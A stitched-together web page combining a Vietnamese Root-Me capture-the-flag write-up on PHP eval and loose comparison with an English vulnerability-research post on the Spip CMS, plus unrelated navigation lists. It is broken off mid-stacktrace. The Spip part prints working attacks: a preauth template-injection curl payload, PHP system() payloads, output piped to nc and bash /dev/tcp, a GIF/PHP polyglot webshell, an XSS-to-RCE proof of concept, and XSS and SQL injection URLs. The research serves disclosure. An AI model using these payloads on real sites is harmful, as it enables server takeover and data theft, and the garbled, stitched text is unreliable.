![[Root-me]PHP – Eval-hard Php-eval-console](https://hell38vn.files.wordpress.com/2019/06/1-3.png?w=1108&h=737&crop=1)
Giao diện và source được cho sẵn



Và nhớ đọc thêm cái này..
Với bài này mình, mình sẽ dùng cách 2, cách một thức nhất mình chả ưa cái xor gì đấy, thực chất vì mình noob nó, cái thứ 2 trong payload khi encode có kí tự alphabet nen bị reject.
Đặc biệt trong bài này mình muốn các bạn thực sự hiểu và thực sự build payload, bài này dùng khá nhiều cho mai sau nên xin hãy tự làm nó
Mình xin nói hướng làm của mình là in inject malicious code như sau :
SYSTEM(STRTOLOWER(LS -LA)) ** Mình sợ rằng .passwd chứa trong folder khác nên cứ show ra xem thử !!!
Mình phãi dùng func STRTOLOWER vì theo cách payload thực thi thì nó chỉ trả về giá trị in hoa mà command LS thì đâu được đâu, nên cần chuyển vì kí tự thường LS -> ls đó các bạn.
Đây là code chung chung của mình, các bạn chỉ nên tham khảo và tự code lại .
Và một lưu ý rằng, khi inject code các bạn nhớ encode nó thì mới exec được =.=
Với đoạn code SYSTEM(STRTOLOWER(LS -LA)) ta được:

Tiếp theo mình chỉ việc cat file .passwd thuôi SYSTEM(STRTOLOWER(CAT .PASSWD))


![[Root-me]PHP – Loose Comparison – Easy Php-eval-console](https://hell38vn.files.wordpress.com/2019/06/1-2.png?w=1108&h=737&crop=1)
Tránh gây nhàm chán với SQL, mình xin mạn phép lượn nhẹ qua một challenge khác nói về một chút lỗi so sánh cho PHP mang tên Ở TRÊN TỰA. Đầu tiên xin mời các bạn đọc vài trang tài liệu kinh điển về thể loại này =)

Màn dạo đầu cho ta 2 trường input và đặc biệt public cho ta hẵn source code, cho thì xem thuôi, vào xem source thử seoooo !!

Không có gì nhiều ngoài chức năng, tạo ra một chuỗi md5,một chuỗi random với 2 param input vào và đặc biệt tại

Thì với điều kiện khi $s nối với $r nếu bằng $h thì sẽ output ra flag . Điều đáng nói ở đây là symbol “==” . Đây chính là mấu chốt của zụ án, nếu các bạn đã đọc tài liệu ở trên thì ắc hẵn sự khác biệt giữa == và === . Nó làm cho câu so sánh trở nên lỏng lẻo, dễ bị bypass bởi một số trick. Sau khi đọc tài liệu, các bạn có thể tìm kiếm thêm google để biết một số trick khác . Quay trở lại bài, mục tiêu ở đây ta cần tìm ra một chuỗi md5 gồm 2 kí tự đầu là 0e và chuỗi đằng sau là chuỗi số. Để mình giải thích cho các bạn lí do.
0e trong php có thể được hiểu như 0 mũ. Ví dụ 0e3 tức sẽ là 0 mũ 3 . Và kết quả sẽ bằng 0, do đó và ta sẽ input vào param seed kí tự 0e. biến $r sẽ random tạo ra một chuỗi số ngẫu nhiên và ắc hẵn khi chuỗi số xxxxxxxxx nối với 0e sẽ bằng 0. Giải quyết xong vế trái, giờ đến vế phải, ta cần tìm mỗi chuỗi md5 có format như sau 0exxxxxxxxx . Với x chỉ là số, thì 0exxxxxxxx cũng sẽ bằng 0. Thỏa mãn 2 vế đều bằng 0, kết quả sẽ có được flag. Mình ví dụ cho các bạn dễ hình dung bên dưới


Giờ các bạn đã hình dung được mình phãi tìm thứ gì. Mình cần tìm một chuỗi md5 hợp lệ và ắc hẵn nếu làm tay thì vài thập kĩ sau các bạn sẽ tìm ra. Vậy nên mình sẽ code 1 đoạn python giúp tìm ra chuỗi md5 đấy.

Và oái ăm khi code đã xong mình chạy thì nó báo memory error . Ngồi google tầm dăm ba chục phút thì mới biết rằng Python3 sẽ fix cho lỗi đó. Vì trước đó mình dùng python2.Đậu xanh zâu má. Và các bạn dùng python3 chạy nhé, 1 lời khuyên thì đây là code tham khảo cho sự chay lười của mình. Các bạn nên code thread chạy cho nhanh. Mình đã lười quyết định để đó cho nó tự chạy và rùi đi vô nhà vệ sinh làm điều “AI CŨNG BIẾT” và rồi đi ngủ nhẹ 1 giấc dậy thì thấy kết quả này.

Mình sẽ rất nể phục các bạn nào quyết tâm tìm kiếm chuỗi md5 này bằng tay. Có kết quả, thử fill xem sao nhé !!!

Déo dèo deo, đã có flagg sau 1 giấc ngủ dài.
Bài viết này mình viết ngẫu hứng, không giỏi văn phạm câu cú chắc siêu lủng củng nên các bạn bỏ qua. Cảm ơn các bợn ❤ ❤ ❤

I’ll keep this line from the first article: Welcome. To. Php.

- Past research
- 2011 — EsSandre
- Preauth custom SSTI on icalendar generation
- Postauth email content eval
- Postauth code injection in MediaBox as a WebMestre
- Postauth php file upload // t0
- Bonus — DNS Rebinding on the file upload feature // t0
- SQLI == RCE
- File read == RCE
- XSS to RCE
- Conclusion & Kudos
- Quick disclaimer before we start
- Setup the environment
- Crawl, Sulfate, Repeat
- Triage the findings
- XSS
- XSS on titre
- XSS on label
- XSS on size_input
- XSS on sinon
- XSS on null
- XSS on quoi (ie-specific)
- Reflected file download
- Open redirect
- SQL injections
- SQL injection on where
- SQL injection on lier_trad
- Remote Code Execution
- XSS on var_profile (ie-specific)
- “XSS” on _oups
- XSS wise
- SQLi wise
- Timeline — DD/MM/YYY
- Conclusion?
- Last words ?
- Posts navigation
- PHP Eval Console
- Table of contents
- Installation
- Configuration
- Evaluators
- EvalEvaluator
- PhpSandboxEvaluator
- Authorizers
- IpAuthorizer
- Queries callback
- TODO
- Функции PHP для выполнения произвольного кода
- Список функций, принимающих обратные вызовы
- Эти функции принимают строковый параметр, который может быть использован для вызова функции по выбору злоумышленника. В зависимости от функции у злоумышленника может быть или не быть возможности передать параметр. В этом случае можно использовать функцию раскрытия информации, например phpinfo().
- Большинство из этих вызовов функций не являются уязвимыми. Но, скорее, это может быть уязвимостью, если какие-либо из возвращаемых данных доступны для просмотра злоумышленнику. Если злоумышленник может увидеть phpinfo(), то это определенно уязвимость.
- Функции выполнения произвольных команд
Past research
This list definitely won’t be exhaustive as many issues are silently patched, and there is just too much content to cover it all. Therefore we’ll just focus on a few issues that reflect what can be found. If you want a more detailed list, head out to CVEdetails — Spip!
Deadly and efficient, php code injection in a GET parameter, that is probably reflected later in an eval statement or dynamically generated php file.
No payload to give here, but after a quick chat, the main goal was to deface the site, which was done with an auth bypass and a stored xss.
Yet it’s interesting to know that Orange was (actually is on some subdomains, but shhh) relying on Spip!
2011 — EsSandre
In the first article I wrote about Spip, my last words were something like this:
They basically used the same bug, but extended the base64 payload with injected raw php code. Smart move, works like a charm! 🙂
Preauth custom SSTI on icalendar generation

Here’s the final payload, but what? Why? How?
Content of ./spip/prive/ical_prive.html:
<BOUCLE0(AUTEURS){tout}{id_auteur}{lang_select}><?php
if ('[(#ID_AUTEUR|securiser_acces{#ENV{arg},ical})]' OR /* spip < 1.9 */ '[(#ID|securiser_acces{#ENV{cle},ical})]') {
?>#HTTP_HEADER{Content-Type: text/calendar}
#HTTP_HEADER{Content-Disposition: attachment; filename=#NOM_SITE_SPIP|textebrut|replace{\W,'_'}|concat{_prive.ics}}
#CACHE{0}
BEGIN:VCALENDAR
CALSCALE:GREGORIAN
--[SNIP]--
UID:message#ID_MESSAGE @ [(#URL_SITE_SPIP|filtrer_ical)]
DTSTAMP:[(#DATE_HEURE|date_ical)]
DTSTART:[(#DATE_HEURE|date_ical)]
CATEGORIES:<:info_message_2|filtrer_ical:>
URL:[(#URL_ECRIRE*{message, id_message=#ID_MESSAGE})]
<BOUCLE_message_n_a(AUTEURS auteurs_messages){lang_select=non}{id_message}>[(#ID_AUTEUR
|=={#ENV{id_auteur}}|?{ORGANIZER,ATTENDEE})]:[(#NOM|filtrer_ical)][ <(#EMAIL|filtrer_ical)>]
</BOUCLE_message_n_a>END:VTODO</BOUCLE_message_n>
<?php if ('#0:STATUT' == '0minirezo') { // Injection here
?><BOUCLE_forum(FORUMS?){par date}{inverse}{tout}{statut="prop"}>
--[SNIP]----[SNIP]--
<?php
if ('[(#ID_AUTEUR|securiser_acces{#ENV{arg},ical})]' OR '[(#ID|securiser_acces{#ENV{cle},ical})]') { if (''=='foo'){ echo(42); }
} else { system('id');
};
if(false){if('foo' == '0minirezo') {
--[SNIP]--What can be seen here is that this injection is powerful enough so we can bypass the securiser_acces check by closing the initial if statement and appending our payload after all the security checks failed!
curl -gsk "http://127.0.0.1/spip.php?page=ical_prive&statut=%27%3D%3D%27foo%27%29%7Becho%2842%29%3B%7D%3B%7Delse%7Bsystem%28%27id%27%29%3B%7D%3Bif%28false%29%7Bif%28%27foo" | grep uid=
# }?></BOUCLE0><BOUCLE0(AUTEURS){tout}{id_auteur}{lang_select}>uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)I’m not sure about its current exploitability, the Spip team says it’s safe now, I took their word and did not spend more time on it.
Postauth email content eval
This one is quite easy to trigger, but doesn’t work at every try. I’m not really sure why, most likely caching in place, or rate-limit on the number of emails sent.. Might also be related to the job in charge of sending emails, but same here, I did not investigate further.
- Login as author
- Create section that will contain our article
- Create article with the title:
<?php system("id | nc 127.0.0.1 8000");?> - Change article status from draft to evaluation
- Enjoy your RCE!
It is to note that the RCE might be a blind one depending on your setup, the command result can be sent to your public IP or even received by email! 😀
Fun fact: I knew that Spip really suffers from too many evals, so instead of reading code, I just sent similar payloads all over the place, and used my fork of php that contains builtin introspection, this tool should be made public for Rump In Rennes in October 2022! 😉
It took only a few forms to trigger the eval statement with the unsanitized title and content reflected in the evaled content.

Here are the screenshots of the same issue exploited (WITH THEIR CONSENT) on Root-Me!
Initial article creation and status change:

Email received for the status change:

DNS callbacks for the executed payload:

Postauth code injection in MediaBox as a WebMestre

One more cool trick is that even though this is only reachable as a webmestre, if an attacker is able to read files on the remote server, leaking the site secret key is enough to forge the same payload and submit it with author rights! But it’s patched now, so this was a cool trick.. 😡
Injection point in the MediaBox page:

Postauth php file upload // t0
Hey folks! It seems it’s my turn to introduce another RCE here!

There’s an upload functionality available on the Spip panel, and I love to spend time on this kind of feature. So I started to test it and quickly found an XSS when hiding javascript code inside an SVG picture, but hey, this is not enough!
It was possible to upload PHP files as well, but the checks made on the server side were good enough to prevent php execution, and render them as text, so no RCE there. But we saw that it was possible to inject javascript inside an SVG file, so why can’t we try to inject PHP code inside a picture?
Spip accepts SVG, JPEG, GIF and PNG formats. After trying classic techniques, a friend of mine (thanks to Semtex) suggested that I take a look at polyglot files.
Indeed, there are plenty of ways to hide PHP code inside a picture! After finally finding one way to do it successfully on Spip, I was then able to do it using various picture formats generated with multiple techniques.
Let’s introduce the GIF comment extension section which (finally!) leads to an RCE!

One of the GIF89 extension types is the comment extension. This allows you to embed ASCII text in a GIF file, and is sometimes used to include an image description, image credit, or other human-readable metadata such as the GPS location of the image capture.

Let’s examine our malicious file’s content:
00000000 47 49 46 38 39 61 01 00 01 00 00 ff 00 2c 00 00 |GIF89a.......,..|
00000010 00 00 01 00 01 00 00 02 00 21 fe 26 3c 3f 70 68 |.........!.&<?ph|
00000020 70 20 73 79 73 74 65 6d 28 24 5f 53 45 52 56 45 |p system($_SERVE|
00000030 52 5b 27 48 54 54 50 5f 54 30 27 5d 29 3b 3f 3e |R['HTTP_T0']);?>|
00000040 00 0a |..|As double extensions were allowed on Spip, this leads to our Holy Grail!
We first upload our payload at /ecrire/?exec=article_edit&new=oui, and then navigate to /IMG/gif/image.php.gif. All we have to do is to add a custom header t0 with the command to execute on the server.

curl http://127.0.0.1/IMG/gif/image.php.gif -H "t0: whoami"
# httpI was able to hide the payload and exploit the vulnerability using PNG with IDAT and PLTS chunks, GIF with comments and global color table, etc.
If you are interested in this kind of exploitation, here are some very nice resources I found:
Bonus — DNS Rebinding on the file upload feature // t0
Sorry if you only want to hear about RCEs, this is not one of them! But it’s still a cool one in my opinion, which can lead to juicy findings depending on the environment used! 🙂
When using the file upload functionality, it is also possible to specify an URL. First thing we want to try in this case is an SSRF. But looking at the source code, there’s a blacklist related to local IPs (127.0.0.1, and addresses within the A/B/C classes). Moreover, the server resolves the URL before checking if it does not belong to one of these classes (function valider_url_distante in ecrire/inc/distant.php):

However, once the check is passed, another request is made to download the file, and this time without any security check left. That’s where the DNS rebinding technique can be used!

DNS rebinding is an attack in which the attacker initiates repeated DNS queries to a domain under their control.
The first query returns a valid response that passes security checks, while subsequent queries return a malicious response that targets the internal network. Thus, it is possible to initiate a first request pointing to an URL/IP authorized by the application, and then the second to an unauthorized URL/IP.
During the first check, the response points to a public IP address, then when the download is done, it points to 127.0.0.1.
I was first able to exploit it by sending multiple requests to an URL crafted thanks to online DNS rebinding services, then I found a very nice tool to automate the this attack and control the process without external dependencies: dnschef
Git clone it, replace the dnschef.py with this one. Then it’s as easy as this:
while true; do ./dnschef.py --interface <ip_listening_dns_request> --fakedomains <domain_controlled> --fakeip 8.8.8.8 --count 2 ./dnschef.py --interface <ip_listening_dns_request> --fakedomains <domain_controlled> --fakeip 127.0.0.1 --count 2
doneIt will resolve 2 times the public IP, then 2 times 127.0.0.1 then public IP again, looping forever.
Small lalu-trick here, if the site uses MySQL without authentication “because it listens on the loopback only”, RCE can be achieved using this DNS debinding to have a mixed-protocol SSRF. It will first push some garbage bytes to MySQL which will whine a bit, but if you have SQL commands surrounded by newline bytes, they will be executed. So it can be used to peek and poke in the database, leading to remote code execution! :}
SQLI == RCE
If you have an SQL injection on Spip, it is enough to:
- List the users, find who is the webmestre and the associated email
- Use the password reset feature (no bug required)
- Use the SQL injection to read the secret code used to verify the reset request
- Change the webmestre’s password
- Login as a webmestre and upload a new module that includes attacker controlled code
So any SQL has the same impact as a direct RCE.
File read == RCE
Reading files also has a deep and powerful impact.
If the site uses SQLite, as explained earlier, it’s an instant game-over as the attacker can retrieve password reset tokens.
If the site uses a regular SQL database, it’s still possible to read the site secret key and forge evil payloads at many places. I won’t give details here as it’s not something they can really protect against. But if you need it someday, now you know it’s doable! 🙂
XSS to RCE
Any stored XSS that can be triggered without overcomplicated social engineering should also be considered as an “almost direct RCE”.
- Store your XSS payload
- The XSS payload must:
- Verify that only webmestre / admins are targeted
- Make the async requests from the webmestre or admin session
- Create a new admin user
- With the newly acquired admin account, upload a backdoored module
Here is the code I wrote something like 2 years ago to exploit the MediaBox issue through an XSS. The code is a bit messy but it works! 🙂
<!DOCTYPE html>
<html>
<head> <meta charset="UTF-8"> <title>PoC XSS to RCE Spip 3.3-dev</title>
</head>
<body> <script> fetch("ecrire/?exec=configurer_mediabox") .then(res => { return res.text(); }) .then(page => { console.log(page); page = page.replace(/(\r\n|\n|\r)/gm, ""); forms = page.match(/<form.*?<\/form>/g); forms.forEach(form => { if (form.includes('action="/ecrire/?exec=configurer_mediabox"')) { form_configurer_mediabox = form; } console.log(form); }); if (typeof form_configurer_mediabox == 'undefined') { alert("Exploit failed"); } console.log(form_configurer_mediabox); dom = new DOMParser().parseFromString(form_configurer_mediabox, "text/html"); form = new FormData(dom.forms[0]); payload = "\";//<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); }?>"; form.set("splash_width", form.get("splash_width") + payload); fetch("/ecrire/?exec=configurer_mediabox", { method: "POST", body: form }); cmd = "bash -c 'id > /dev/tcp/127.0.0.1/8000'" fetch("/?cmd=" + cmd, {}); // Clean payload here if needed }); </script>
</body>
</html>Conclusion & Kudos
Now more than ever, I’m confident saying that not all languages are equal toward security.
Especially, languages that mix file system, code, and routing (php, asp, jsp, and others using dynamic reloading). They really seem to offer/expose an extra-wide attack surfaces that developers aren’t aware of.

That being said, if you really want or need to keep using php but also require a decent level of security, please consider using Snuffleupagus! It gets rid of whole classes of bugs by patching php’s bytecode at the right places. The performance overhead is low, the security gain high, and reliability really seems to be kept in mind!
Hi there,
This article is about Spip, root-me.org, XSS, SQLi, and Remote Code Execution.
Ever wondered how secure is your daily website ?
Welcome. To. Php.

Quick disclaimer before we start
A few weeks ago, I was trying to make my web-audit processes more efficient, and I stood upon two problems:
- I tried many crawlers (Photon, Hakrawler, BurpSuite), none gave me the results I expected (false negatives, no js parsing, output format, custom properties, …)
- Auditing parameter’s security one by one is way too slow, and not exhaustive
So I began coding two tools on my free time: “Crawlz” and “Sulfateuse”. They attempt to solve both of these issues. They are still under heavy development (basically every night since three weeks) and might be open sourced at some point (not anytime soon, no ask, no cry, keep on reading!).
Once I had a working proof of concept, I wanted to test it against a real life target. I learned so much on root-me, and thus I was expecting the framework they use, Spip, to be secure. I had a quick tour on several CVE websites, and found out that they’ve had a few issues, mostly XSS, LFI, SQLi, and RCE. I thought that this has since been audited roughly, so maybe finding an xss would be a good start.
You know what?

Setup the environment
In order to reproduce my setup, you can clone Spip sources, git or svn (see their recommended way) into the spip directory. Then run docker-compose -f compose-spip.yml up and voila! The only thing left to do is to visit http://lokal/ecrire, create a new account, a dummy category, page, author, etc in order to have some data, and thus be as exhaustive as possible with a populated environment and databases.
Side note here, localhost requests are often made in a way that bypasses proxies. I wanted to log and inspect the traffic, so I added the line 127.0.0.1 lokal in /etc/hosts in order to resolve lokal to my loopback address without localhost bypasses in the way.
version: '3.5'
services: db: image: mysql command: --default-authentication-plugin=mysql_native_password environment: - MYSQL_ROOT_PASSWORD=root ports: - 3306:3306 adminer: image: adminer ports: - 81:8080 spip: image: php:7.2 ports: - 80:80 volumes: - ./spip:/spip working_dir: /spip entrypoint: ["bash", "-c", "apt update && apt install -y default-mysql-client && docker-php-ext-install mysqli && php -S 0.0.0.0:80"]Crawl, Sulfate, Repeat
Even though “a magician never reveals his secrets”, here are the core steps of my process:
- Start the env, launch burp, chromium (with foxy proxy)
- Navigate on Spip, click on buttons, submit forms, access pages, …
- From burp, extract every visited url with their parameters
- Run Crawlz, be as exhaustive as possible (keep even false positives and broken urls)
- Triage the urls, remove the odd ones
- Add some magic here
¯\_(ツ)_/¯ - Run Sulfateuse, (a bit like a custom burp intruder)
- Triage all the results !
One more side note! I used a previous project WordPress Subpath Auditor to get more insights on Spip and check if some quick-wins were already reachable. I found an eval (powerful primitive for code execution) with partially controlled input, but the sanitization in place (alphanum regex whitelisting) was too restrictive. More on that later!
The tests were ran with the builtin php server php -S 0.0.0.0:80. I was too lazy to setup multi-threading, and speed definitely isn’t the main concern for Spip folks, nor for me. Sulfateuse ran for approx 10 hours, I slept on it, and the next morning was like one of these christmas day!
Triage the findings
As Sulfateuse tries to be as exhaustive as possible, there are a lot of false positive. This is a pain, but this is the cost of awesome findings. So I’m fine with it! 🙂
XSS
A few xss were trivial to find and exploit. Simple or double url-encoded parameters were allowed, thus adding angle brackets was enough to trigger the XSS. Some more complex ones were sanitizing angle brackets, and single or double quotes. Hopefully, breaking an attribute context is often enough to get a working payload!
XSS on titre
http://lokal/ecrire/?exec=rubriques&titre=pouet<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=rubriques&titre=pouet%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E
XSS on label
http://lokal/ecrire/?exec=rubriques&label=laluka<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=rubriques&label=laluka%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E
XSS on size_input
http://lokal/ecrire/?exec=rubriques&size_input=lalu" onfocus=alert(domain) autofocus foo="
http://lokal/ecrire/?exec=rubriques&size_input=lalu%22%20onfocus=alert(domain)%20autofocus%20foo=%22
XSS on sinon
http://lokal/ecrire/?exec=article&id_article=1&sinon=<a data-hren=err onfocus=alert(domain) autofocus/>
http://lokal/ecrire/?exec=article&id_article=1&sinon=%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E
XSS on null
This one had more restrictions on the angle brackets, so a style trick and woosh!
The idea here is to have a style to cover the full screen, and execute an action on hover. As soon as the mouse enters the page, it’s a win!
http://lokal/ecrire/?exec=plan&null=lalu' onmouseover=alert(domain) style='width:9999999px;height:9999999px;' foo=
http://lokal/ecrire/?exec=plan&null=lalu%27%20onmouseover=alert(domain)%20style=%27width:9999999px;height:9999999px;%27%20foo=
XSS on quoi (ie-specific)
http://localhost:8000/ecrire/?exec=messages&typem=tout&quoi='/>ie_specific_xss<script>alert(domain)</script>'

Reflected file download
TL;DR(RFD): You click that link, and a file has been downloaded to your desktop. A common scenario is to send such a link with a second stage as data. Like RFD + SSRF + webshell can achieve a remote code execution. Or even RFD on a whitelisted domain to permit the download of a LNK file crafted to get code execution.
http://lokal/spip.php?action=converser&redirect=data%253Aimage/svg+xml,content 
Open redirect
https://www.root-me.org/spip.php?action=converser&redirect=https%253A//thinkloveshare.com/ 
SQL injections
TL;DR(SQLi): Exploit a lack of input sanitization to modify the semantic of an SQL request, or execute another one. This can be exploited to leak the whole database, insert custom data, or even execute code. The technologies vary a lot, so it really depends on the language, software, version, os, context, and the character restriction on this specific injection point.
Here, I tried really hard to exploit an INSERT statement but couldn’t find one, only SELECT. I also tried to write to files (webshell) to the filesystem, but MySQL now has a safe by default behavior that kept me from doing so.
Sulfateuse was testing for bad chars, and bad chars include single and double quotes.
Error logging was enabled, quotes were injected, SQL errors were raised. Amen.
SQL injection on where
http://lokal/ecrire/?exec=accueil&where=SQLI_HERE
SQL injection on lier_trad
http://localhost:8000/ecrire/?exec=article_edit&new=oui&id_rubrique=1&lier_trad=%27
Two backends are supported by Spip: MySQL and SQLite.
Simple sleep in SQLite:
http://lokal/ecrire/?exec=article_edit&lier_trad=1%2BAND%2B10%3DLIKE%280x41%2CUPPER%28HEX%28RANDOMBLOB%28500000000%2F2%29%29%29%29--+
http://lokal/ecrire/?exec=article_edit&lier_trad=1+AND+10=LIKE(0x41,UPPER(HEX(RANDOMBLOB(500000000/2))))-- Union based in MySQL:
http://lokal/ecrire/?exec=article_edit&lier_trad=1 AND 1=2 union all select 1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25;--
http://lokal/ecrire/?exec=article_edit&lier_trad=1+AND+1%3D2%20union%20all%20select%201,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25;--
Remote Code Execution
During the third run on Spip (improving Sulfateuse day after day), two new XSS were found.
The first one is internet-explorer specific as it doesn’t url-encode bad chars by default. Yuck.
You can check how various characters are encoded here: https://www.worldtimzone.com/res/encode/
XSS on var_profile (ie-specific)
http://lokal/ecrire/?exec=admin_plugin&var_profile=pouet'/><script>alert(document.domain)</script>
“XSS” on _oups
This one made me laugh because it affected parameter “_oups”.
https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=pouet'/><a data-hren=err onfocus=alert(domain) autofocus/>
https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=pouet%27/%3E%3Ca%20data-hren=err%20onfocus=alert(domain)%20autofocus/%3E
- Track the “_oups” parameter, add debug statements
Analyse the generated stacktraces, determine that eval is the sink
I know this is wayyy too small, text version below..

#0 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55] #1 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657] #2 evaluer_fond(formulaires/editer_liens, Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C&php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&%3E%27,[form] => editer_liens,[lang] => en), ) called at [/issue_4494/ecrire/inc/utils.php:3258] #3 recuperer_fond(formulaires/editer_liens, Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C&php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&%3E%27,[form] => editer_liens,[lang] => en), Array ([trim] => ,[raw] => 1,[compil] => Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en))) called at [/issue_4494/ecrire/public/assembler.php:378] #4 inclure_balise_dynamique(Array ([0] => formulaires/editer_liens,[1] => 3600,[2] => Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C&php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&%3E%27,[form] => editer_liens)), 1, Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en)) called at [/issue_4494/ecrire/public/assembler.php:353] #5 inserer_balise_dynamique(Array ([0] => formulaires/editer_liens,[1] => 3600,[2] => Array ([editable] => ,[id] => auteurs-article-1-auteur,[_vue_liee] => auteurs_lies,[_vue_ajout] => auteurs_associer,[_objet_lien] => auteur,[id_lien_ajoute] => ,[objet] => article,[id_objet] => 1,[objet_source] => auteur,[table_source] => auteurs,[recherche] => ,[visible] => 0,[ajouter_lien] => ,[supprimer_lien] => ,[qualifier_lien] => ,[ordonner_lien] => ,[desordonner_liens] => ,[_roles] => ,[_oups] => '<?php debug_print_backtrace();die();?>',[_pipelines] => Array ([formulaire_fond] => Array ([form] => editer_liens,[args] => Array ([0] => auteurs,[1] => article,[2] => 1),[je_suis_poste] => )),[formulaire_args] => z+FJ1rTG/lk75IfPcVqrygiJhj3wixKIFYDVzdNWKSfpyNiJtN8gQpPFZh4QRLr2nrCnZYNK061VIxk9YkVVB9TNlAxClgABPC6zutkBCynE3wP7ew8PXA==,[erreurs] => Array (),[action] => /ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C&php%20debug_print_backtrace%28%29%3Bdie%28%29%3B&%3E%27,[form] => editer_liens)), Array ([0] => ../prive/squelettes/contenu/article.html,[1] => html_f8c6d633acdd97cfce459c6efd74f49a,[2] => _article,[3] => 12,[4] => en)) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:32] #6 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55] #7 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657] #8 evaluer_fond(prive/squelettes/contenu/article, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), ) called at [/issue_4494/ecrire/inc/utils.php:3258] #9 recuperer_fond(prive/squelettes/contenu/article, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => statut,[deplacer] => oui,[_oups] => '<?php debug_print_backtrace();die();?>',[date] => 2020-05-29 12:34:09,[date_default] => 1,[date_redac] => 2020-05-29 12:34:09,[date_redac_default] => 1,[type-page] => article,[composition] => ,[lang] => en,[espace_prive] => 1), Array ([compil] => Array ([0] => ../prive/squelettes/body.html,[1] => html_5bbf3d281bcedbb6cfa5c8fc593ec71d,[2] => ,[3] => 22,[4] => en),[ajax] => contenu,[trim] => 1), ) called at [/issue_4494/ecrire/public/evaluer_page.php(55) : eval()'d code:89] #10 eval() called at [/issue_4494/ecrire/public/evaluer_page.php:55] #11 include(/issue_4494/ecrire/public/evaluer_page.php) called at [/issue_4494/ecrire/public/assembler.php:657] #12 evaluer_fond(prive/squelettes/body, Array ([exec] => article,[id_article] => 1,[ajouter] => non,[tri_liste_aut] => 